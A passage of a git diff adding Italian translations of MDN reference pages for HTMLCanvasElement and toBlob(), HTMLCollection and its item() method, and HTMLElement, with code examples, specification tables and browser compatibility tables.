+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(44)}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (<code>2D</code> context)</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10.0 [1]</td>
+   <td>3.2</td>
+  </tr>
+  <tr>
+   <td><code>webgl</code> context</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}} as <code>experimental-webgl</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>toBlob()</code></td>
+   <td>{{CompatNo}} (bug <a href="http://crbug.com/67587">67587</a>)</td>
+   <td>50</td>
+   <td>{{CompatGeckoMobile('18')}} [2]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}} (bug <a href="https://bugs.webkit.org/show_bug.cgi?id=71270">71270</a>)</td>
+  </tr>
+  <tr>
+   <td><code>probablySupportsContext()</code>,<br>
+    <code>setContext()</code>,<br>
+    <code>transferControlToProxy() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>mozGetAsFile()</code> {{non-standard_inline}} {{deprecated_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('2')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>captureStream() </code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile('41')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>transferControlToOffscreen()</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(44)}} [3]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Supporto parziale in Opera Mini 5.0 e successivi.</p>
+
+<p>[2] Il supporto per il terzo parametro, è stato aggiunto solo con Gecko 25: quando viene usato col tipo "image/jpeg," questo argomento specifica la qualità dell'immagine.</p>
+
+<p>[3] Da questa funzionalità dipende una impostazione di preferenza di funzionalità. Imposta<code> come true gfx.offscreencanvas.enabled</code> in about:config .</p>
+
+<h2 id="Vedi_anche">Vedi anche:</h2>
+
+<ul>
+ <li>elemento HTML che implementa questa interfaccia: {{HTMLElement("canvas")}}.</li>
+</ul>
diff --git a/files/it/web/api/htmlcanvaselement/toblob/index.html b/files/it/web/api/htmlcanvaselement/toblob/index.html
new file mode 100644
index 0000000000..f0793eb393
--- /dev/null
+++ b/files/it/web/api/htmlcanvaselement/toblob/index.html
@@ -0,0 +1,262 @@
+---
+title: HTMLCanvasElement.toBlob()
+slug: Web/API/HTMLCanvasElement/toBlob
+translation_of: Web/API/HTMLCanvasElement/toBlob
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+</div>
+
+<p>Il metodo<strong><code>HTMLCanvasElement.toBlob()</code></strong> crea un oggetto {{domxref("Blob")}} rappresentante l'immagine contenuta nel canvas;  questo file potrebbe essere immagazzinato per usi futuri su disco o in memoria a discrezione dell'user agent. Se <code>type</code> non è specificato, il tipo immagine è impostato a<code>image/png</code>. L'immagine creata ha una risoluzione di 96dpi.<br>
+ Il terzo argomento è usato con immagini di tipo<code>image/jpeg</code> per specificare la qualità dell'output.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">void <var>canvas</var>.toBlob(<var>callback</var>, <var>mimeType</var>, <var>qualityArgument</var>);
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt>callback</dt>
+ <dd>Funzione di callback con l'oggetto {{domxref("Blob")}} risultante come singolo argomento.</dd>
+ <dt><code>mimeType</code> {{optional_inline}}</dt>
+ <dd>Un oggetto {{domxref("DOMString")}} indicante il tipo immagine. Quella di default è<code>image/png</code>.</dd>
+ <dt><code>qualityArgument</code> {{optional_inline}}</dt>
+ <dd>Un oggetto {{jsxref("Number")}} tra<code>0</code> e<code>1</code> indicante la qualità immagine se il tipo richiesto è <code>image/jpeg </code>o<code>image/webp</code>. Se questo argomento è diverso dai due precedenti è utilizzato il valore di qualità immagine di default. Altri argomenti verranno ignorati.</dd>
+</dl>
+
+<h3 id="Valore_ritornato">Valore ritornato</h3>
+
+<p>Nessuno.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Ottenere_un_file_rappresentante_il_canvas">Ottenere un file rappresentante il canvas</h3>
+
+<p>Una volta aver disegnato il contenuto in un canvas, è possibile convertirlo in un file di un qualsiasi. Lo snippet di codice in basso, ad esempio, prende l'immagine contenuta nell'elemento {{HTMLElement("canvas")}} avente ID "canvas", ottenendo una sua copia in formato immagine PNG, quindi aggiunge un nuovo elemento {{HTMLElement("img")}} al documento, la cui immagine di origine è quella creata utilizzando il canvas.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+
+canvas.toBlob(function(blob) {
+  var newImg = document.createElement('img'),
+      url = URL.createObjectURL(blob);
+
+  newImg.onload = function() {
+    // no longer need to read the blob so it's revoked
+    URL.revokeObjectURL(url);
+  };
+
+  newImg.src = url;
+  document.body.appendChild(newImg);
+});
+</pre>
+
+<p>Si noti che si sta creando un'immagine PNG; se si specifica un secondo parametro nella chiamata a <code>toBlob()</code>,  si può specificare il formato immagine. Ad esempio, per ottenere l'immagine in formato JPEG:</p>
+
+<pre class="brush: js"> canvas.toBlob(function(blob){...}, 'image/jpeg', 0.95); // JPEG at 95% quality</pre>
+
+<div>
+<h3 id="Convertire_un_canvas_in_icona_(solo_su_Mozilla)">Convertire un canvas in icona (solo su Mozilla)</h3>
+
+<p>Ora si userà <code>-moz-parse</code> per convertire un canvas in icona. Windows XP non supporta la conversione dal formato PNG ad ICO, quindi usa quello bitmap (BMP) al suo posto. Un link di download è creato impostando l'attributo download. Il valore dello stesso è il nome che verrà utilizzato come nome del file.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var d = canvas.width;
+ctx = canvas.getContext('2d');
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = 'yellow';
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var a = document.createElement('a');
+    a.textContent = 'Download';
+    document.body.appendChild(a);
+    a.style.display = 'block';
+    a.download = iconName + '.ico';
+    a.href = window.URL.createObjectURL(b);
+  }
+}
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');</pre>
+</div>
+
+<h3 id="Salvare_toBlob_su_disco_con_OS.File_(valido_solo_per_chromeadd-on)">Salvare toBlob su disco con OS.File (valido solo per chrome/add-on)</h3>
+
+<div class="note">
+<p>This technique saves it to the desktop and is only useful in Firefox chrome context or add-on code as OS APIs are not present on web sites.</p>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var d = canvas.width;
+ctx = canvas.getContext('2d');
+ctx.beginPath();
+ctx.moveTo(d / 2, 0);
+ctx.lineTo(d, d);
+ctx.lineTo(0, d);
+ctx.closePath();
+ctx.fillStyle = 'yellow';
+ctx.fill();
+
+function blobCallback(iconName) {
+  return function(b) {
+    var r = new FileReader();
+    r.onloadend = function () {
+    // r.result contains the ArrayBuffer.
+    Cu.import('resource://gre/modules/osfile.jsm');
+    var writePath = OS.Path.join(OS.Constants.Path.desktopDir,
+                                 iconName + '.ico');
+    var promise = OS.File.writeAtomic(writePath, new Uint8Array(r.result),
+                                      {tmpPath:writePath + '.tmp'});
+    promise.then(
+      function() {
+        console.log('successfully wrote file');
+      },
+      function() {
+        console.log('failure writing file')
+      }
+    );
+  };
+  r.readAsArrayBuffer(b);
+  }
+}
+
+canvas.toBlob(blobCallback('passThisString'), 'image/vnd.microsoft.icon',
+              '-moz-parse-options:format=bmp;bpp=32');</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-toblob", "HTMLCanvasElement.toBlob")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of the {{SpecName('HTML WHATWG')}} containing the initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoDesktop('19')}}</td>
+   <td>{{CompatIE(10)}}{{property_prefix("ms")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Image quality parameter</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoDesktop('25')}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoMobile("19")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome("50")}}</td>
+  </tr>
+  <tr>
+   <td>Image quality parameter</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("50")}}</td>
+   <td>{{CompatGeckoMobile("25")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome("50")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] See {{WebKitBug("71270")}}.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>A low performance polyfill based on toDataURL.</p>
+
+<pre class="brush: js">if (!HTMLCanvasElement.prototype.toBlob) {
+ Object.defineProperty(HTMLCanvasElement.prototype, 'toBlob', {
+  value: function (callback, type, quality) {
+
+    var binStr = atob( this.toDataURL(type, quality).split(',')[1] ),
+        len = binStr.length,
+        arr = new Uint8Array(len);
+
+    for (var i = 0; i &lt; len; i++ ) {
+     arr[i] = binStr.charCodeAt(i);
+    }
+
+    callback( new Blob( [arr], {type: type || 'image/png'} ) );
+  }
+ });
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The interface defining it, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/it/web/api/htmlcollection/index.html b/files/it/web/api/htmlcollection/index.html
new file mode 100644
index 0000000000..53eb23edd1
--- /dev/null
+++ b/files/it/web/api/htmlcollection/index.html
@@ -0,0 +1,101 @@
+---
+title: HTMLCollection
+slug: Web/API/HTMLCollection
+tags:
+  - API
+  - DOM
+  - HTML DOM
+  - HTMLCollection
+  - Interfaccia
+  - Lista di elementi
+  - Referenza
+  - Referenza DOM
+translation_of: Web/API/HTMLCollection
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>L'interfaccia <strong><code>HTMLCollection</code></strong> rappresenta una raccolta generica (array-like object simile agli <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments">argomenti</a>) di elementi (nell'ordine del documento) e offre metodi e proprietà per la selezione dall'elenco.</p>
+
+<div class="note"><strong>Note:</strong> Questa interfaccia è chiamata <code>HTMLCollection</code> per ragioni storiche (prima del DOM moderno, le raccolte che implementano questa interfaccia potevano avere solo elementi HTML come elementi).</div>
+
+<p>Una <code>HTMLCollection</code> nell'HTML DOM è attiva; viene aggiornata automaticamente quando viene modificato il documento sottostante.</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.length")}} {{readonlyInline}}</dt>
+ <dd>Restituisce il numero di elementi nella raccolta.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt>{{domxref("HTMLCollection.item()")}}</dt>
+ <dd>Restituisce il nodo specifico al dato <code>index</code> a base zero nella lista. Restituisce <code>null</code> se <code>index</code> non è compreso nell'intervallo</dd>
+ <dt>{{domxref("HTMLCollection.namedItem()")}}</dt>
+ <dd>Restituisce il nodo specifico il cui ID o, come nome di fallback, corrisponde alla stringa specificata da <code>nome</code>. La corrispondenza per nome viene eseguita solo come ultima risorsa, solo in HTML, e solo se l'elemento di riferimento supporta l'attributo <code>name</code>. Restituisce <code>null</code> se nessun nodo corrisponde con il nome specificato.</dd>
+</dl>
+
+<h2 id="Utilizzo_in_JavaScript">Utilizzo in JavaScript</h2>
+
+<p><code>HTMLCollection</code> espone anche i suoi membri direttamente come proprietà sia per nome che per indice. Gli ID HTML possono contenere <code>:</code> e <code>.</code> come caratteri validi, che richiederebbero l'uso della notazione della parentesi per l'accesso alla proprietà. Attualmente HTMLCollections non riconosce gli ID puramente numerici, il che causerebbe un conflitto con l'accesso in stile array, sebbene HTML5 li autorizzi.</p>
+
+<p>Ad esempio, supponendo che esista un elemento <code>&lt;form&gt;</code> nel documento e il suo <code>id</code> sia <code>"myForm"</code>:</p>
+
+<pre class="brush:js">var elem1, elem2;
+
+// document.forms è una HTMLCollection
+
+elem1 = document.forms[0];
+elem2 = document.forms.item(0);
+
+alert(elem1 === elem2); // ritorna: "true"
+
+elem1 = document.forms.myForm;
+elem2 = document.forms.namedItem("myForm");
+
+alert(elem1 === elem2); // ritorna: "true"
+
+elem1 = document.forms["named.item.with.periods"];</pre>
+
+<h2 id="Specifications" name="Specifications">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#htmlcollection', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-75708506', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM2 HTML') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-75708506', 'HTMLCollection')}}</td>
+   <td>{{ Spec2('DOM1') }}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.HTMLCollection")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{domxref("NodeList")}}</li>
+ <li>{{domxref("HTMLFormControlsCollection")}}, {{domxref("HTMLOptionsCollection")}}</li>
+</ul>
diff --git a/files/it/web/api/htmlcollection/item/index.html b/files/it/web/api/htmlcollection/item/index.html
new file mode 100644
index 0000000000..f53047ffbc
--- /dev/null
+++ b/files/it/web/api/htmlcollection/item/index.html
@@ -0,0 +1,50 @@
+---
+title: HTMLCollection.item
+slug: Web/API/HTMLCollection/item
+translation_of: Web/API/HTMLCollection/item
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">Il metodo {{domxref("HTMLCollection")}} <code>item()</code> restituisce il nodo situato nell'offset specificato nella raccolta.</span></p>
+
+<div class="note">
+<p><strong>Note:</strong> Poiché il contenuto di una <code>HTMLCollection</code> è attivo, le modifiche al DOM sottostante possono e causano la modifica della posizione dei singoli nodi nella raccolta, pertanto il valore dell'indice non resterà necessariamente costante per un determinato nodo.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>elemento</em> = <em>HTMLCollection</em>.item(<em>index</em>)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>La posizione del {{domxref("Node")}} da restituire. Gli elementi appaiono in una <code>HTMLCollection</code> nello stesso ordine in cui appaiono nella fonte del documento.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Il {{domxref("Node")}} nell'indice specificato, o <code>null</code> se <code>index</code> è minore di zero o maggiore o uguale alla proprietà length.</p>
+
+<h2 id="Note_di_utilizzo">Note di utilizzo</h2>
+
+<p>Il metodo <code>item()</code> estituisce un elemento numerato da una <code>HTMLCollection</code>. In JavaScript, è più semplice trattare <code>HTMLCollection</code> come una matrice e indicizzarla mediante la notazione degli array. Vedi l'{{anch ("Esempio", "esempio")}} sotto.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush: js">var c = document.images;  // Questa è una HTMLCollection
+var img0 = c.item(0);     // Puoi usare il metodo item() in questo modo
+var img1 = c[1];          // Ma questa notazione è più facile e più comune
+</pre>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+
+
+<p>{{Compat("api.HTMLCollection.item")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{domxref("NodeList.item()")}}</li>
+</ul>
diff --git a/files/it/web/api/htmlelement/index.html b/files/it/web/api/htmlelement/index.html
new file mode 100644
index 0000000000..a1b53a7528
--- /dev/null
+++ b/files/it/web/api/htmlelement/index.html
@@ -0,0 +1,481 @@
+---
+title: HTMLElement
+slug: Web/API/HTMLElement
+tags:
+  - API
+  - HTML DOM
+  - Interface
+  - NeedsNewLayout
+  - Referenza
+translation_of: Web/API/HTMLElement
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p>L'interfaccia <strong><code>HTMLElement</code></strong> rappresenta un qualsiasi elemento <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a>. Alcuni elementi implementano direttamente questa interfaccia, altri la implementano attraverso un'interfaccia che la eredita.</p>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<p><em>Eredita le proprietà dai propri genitori, da {{domxref("Element")}} e da {{domxref("GlobalEventHandlers")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nome</th>
+   <th scope="col">Tipo</th>
+   <th scope="col">Descrizione</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKey")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>La chiave d'accesso assegnata all'elemento.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.accessKeyLabel")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Una stringa che rappresenta la chiave d'accesso assegnata all'elemento.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.contentEditable")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Ritorna o assegna la modificabilità dell'elemento.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Indica se il contenuto dell'elemento sia modificabile.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dataset")}} {{readonlyInline}}</td>
+   <td>{{domxref("DOMStringMap")}}</td>
+   <td>Permette di leggere e scrivere attributi personalizzati (<code>data-*</code>) nell'elemento.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dir")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Ritorna o assegna la direzione dell'elemento</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.draggable")}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</td>
+   <td>{{domxref("DOMSettableTokenList")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.hidden")}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</td>
+   <td>{{domxref("DOMSettableTokenList")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</td>
+   <td>{{domxref("DOMSettableTokenList")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</td>
+   <td>{{domxref("DOMSettableTokenList")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</td>
+   <td><code>any</code></td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.lang")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Ritorna o assegna la lingua di un attributo, di un elemento, del testo e del contenuto di un elemento.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</td>
+   <td><code>double</code></td>
+   <td>L'altezza di un elemento, relativa al layout.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</td>
+   <td><code>double</code></td>
+   <td>La distanza tra il bordo sinistro dell'elemento e il bordo sinistro del suo <code>offsetParent</code>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</td>
+   <td>{{domxref("Element")}}</td>
+   <td>L'elemento a partire dal quale tutti i calcoli dell'offset sono effettuati.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</td>
+   <td><code>double</code></td>
+   <td>La distanza tra il bordo superiore dell'elemento e il bordo superiore del suo <code>offsetParent</code>.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</td>
+   <td><code>double</code></td>
+   <td>La larghezza di un elemento, relativa al layout.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</td>
+   <td>{{domxref("HTMLPropertiesCollection")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Controlla il <a href="/en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms" title="en/Controlling_spell_checking_in_HTML_forms">controllo ortografico</a> (presente in tutti gli elementi HTML)</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.style")}}</td>
+   <td>{{domxref("CSSStyleDeclaration")}}</td>
+   <td>Un oggetto che rappresenta la dichiarazione degli attributi di stile di un elemento.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.tabIndex")}}</td>
+   <td><code>long</code></td>
+   <td>Ritorna o assegna la posizione di un elemento nell'ordine di tabbing.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.title")}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Una stringa che appare in un popup quando il mouse si trova sopra all'elemento.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</td>
+   <td>{{domxref("Boolean")}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Gestori_degli_eventi">Gestori degli eventi</h3>
+
+<p>Le proprietà degli eventi, nella forma <code>onXYZ</code>, sono definite nei {{domxref("GlobalEventHandlers")}} implementati da <code>HTMLElement</code>. Alcune altre sono specifiche per <code>HTMLElement</code>.</p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.onTouchStart")}} {{non-standard_inline}}</dt>
+ <dd>Restituisce il codice di gestione dell'evento {{event("touchstart")}}.</dd>
+ <dt>{{domxref("HTMLElement.onTouchEnd")}} {{non-standard_inline}}</dt>
+ <dd>Restituisce il codice di gestione dell'evento {{event("touchend")}}.</dd>
+ <dt>{{domxref("HTMLElement.onTouchMove")}} {{non-standard_inline}}</dt>
+ <dd>Restituisce il codice di gestione dell'evento {{event("touchmove")}}.</dd>
+ <dt>{{domxref("HTMLElement.onTouchEnter")}} {{non-standard_inline}}</dt>
+ <dd>Restituisce il codice di gestione dell'evento {{event("touchenter")}}.</dd>
+ <dt>{{domxref("HTMLElement.onTouchLeave")}} {{non-standard_inline}}</dt>
+ <dd>Restituisce il codice di gestione dell'evento {{event("touchleave")}}.</dd>
+ <dt>{{domxref("HTMLElement.onTouchCancel")}} {{non-standard_inline}}</dt>
+ <dd>Restituisce il codice di gestione dell'evento {{event("touchcancel")}}.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<p><em>Eredita i metodi dal genitore, {{domxref("Element")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Nome e argomenti</th>
+   <th scope="col">Restituisce</th>
+   <th scope="col">Descrizione</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{domxref("HTMLElement.blur()")}}</td>
+   <td><code>void</code></td>
+   <td>Rimuove il focus della tastiera dall'elemento attualmente in focus.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.click()")}}</td>
+   <td><code>void</code></td>
+   <td>Invia un evento di clic del mouse all'elemento.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.focus()")}}</td>
+   <td><code>void</code></td>
+   <td>Porta il focus della tastiera sull'elemento.</td>
+  </tr>
+  <tr>
+   <td>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</td>
+   <td><code>void</code></td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
